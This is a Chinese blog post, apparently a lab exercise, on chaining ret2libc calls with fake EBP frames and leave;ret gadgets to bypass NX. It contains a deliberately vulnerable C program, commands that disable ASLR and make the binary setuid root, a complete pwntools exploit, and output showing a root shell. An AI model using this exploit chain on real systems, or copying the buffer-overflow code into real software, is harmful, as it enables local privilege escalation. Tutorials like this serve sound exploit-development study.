NEKO

Linux-Exploit之使用链接的ret2libc绕过NX bit

2018/05/30

写了个简单的demo,没有像实验写得那么复杂.
重点是如何使用链接的ret2libc绕过NX bit.

漏洞源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <string.h>

void vulnerable(){
char buf[256];
printf("%x\n",&buf);
read(0,&buf,500);
}

int main(){
vulnerable();
return 0;
}

关闭aslr:

1
neko@ubuntu:~/neko/5$ sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"

编译:

1
2
3
4
neko@ubuntu:~/neko/5$ gcc -m32 -fno-stack-protector -o crackme5.out crackme5.c
neko@ubuntu:~/neko/5$ sudo chown root ./crackme5.out
neko@ubuntu:~/neko/5$ sudo chgrp root ./crackme5.out
neko@ubuntu:~/neko/5$ sudo chmod +s ./crackme5.out

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
p=process('./crackme5.out')


system_addr=0xf7e41940
sh_addr=0xf7f6002b
exit_addr=0xf7e357b0
setuid_addr=0xf7eb7060
leave_ret=0x08048475
buf_addr=0xffffcf90

fake_ebp0=buf_addr+0x108+4*4 #0xffffd0a8
fake_ebp1=fake_ebp0+4*4 #0xffffd0b8
fake_ebp2=fake_ebp1+4*4 #0xffffd0c8


payload=''
payload+='a'*0x108
payload+=p32(fake_ebp0)
payload+=p32(setuid_addr)
payload+=p32(leave_ret)
payload+=p32(0)
payload+=p32(fake_ebp1)
payload+=p32(system_addr)
payload+=p32(leave_ret)
payload+=p32(sh_addr)
payload+=p32(fake_ebp2)
payload+=p32(exit_addr)
payload+='a'*4
payload+=p32(0)
p.recvline()
p.send(payload)
p.interactive()

利用思路:

首先看下leave的实现:

1
2
mov ebp,esp //将ebp赋值给esp
pop ebp //将栈顶的值pop给ebp,同时esp=esp+4

再看下ret的实现(我记得应该是这样):

1
2
pop eip     //将栈顶的值pop给eip,同时esp=esp+4
jmp eip //跳转到eip执行

程序执行到vulnerable()函数的leave;ret处时:

1
2
3
4
5
leave:
mov ebp,esp //esp=ebp=fake_ebp0的地址=0xffffd098
pop ebp //ebp=fake_ebp0=fake_ebp1的地址=0xffffd0a8,esp=0xffffd0ac
ret:
跳转到setuid的地址,执行setuid函数,setuid函数的返回地址为leave_ret.

执行完setuid(0)后,开始执行leave_ret:

1
2
3
4
5
leave:
mov ebp,esp //esp=ebp=fake_ebp0=fake_ebp1的地址=0xffffd0a8
pop ebp //ebp=fake_ebp1=fake_ebp2的地址=0xffffd0b8,esp=0xffffd0bc
ret:
跳转到system()的地址,执行system函数,system函数的返回地址为leave_ret.

执行完system(“/bin/sh”)后(都开shell了,后面为什么还要exit(0)??话说根本不会执行到exit(0)吧),开始执行leave_ret:

1
2
3
4
5
leave:
mov ebp,esp //esp=ebp=fake_ebp1=fake_ebp2的地址=0xffffd0c8
pop ebp //ebp=fake_ebp2=fake_ebp3的地址=0xffffd0c8,esp=0xffffd0cc
ret:
跳转到exit的地址,执行exit(0)函数,exit函数的返回地址用'a'*4填充

感觉加不加exit(0)没什么用,system(“/bin/sh”)的返回地址用’a’*4填充也行.
没用seteuid而是用setuid,因为使用seteuid没反应(:з」∠).

实验结果:

1
2
3
4
5
6
neko@ubuntu:~/neko/5$ python exp5.py 
[+] Starting local process './crackme5.out': pid 16658
[*] Switching to interactive mode
$ id
uid=0(root) gid=1000(neko) groups=1000(neko),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$

uid成功被设为0.

原文作者: n3k0

发表日期: May 30th 2018, 10:38:34

发出嘶吼: 没有魔夜2玩我要死了

CATALOG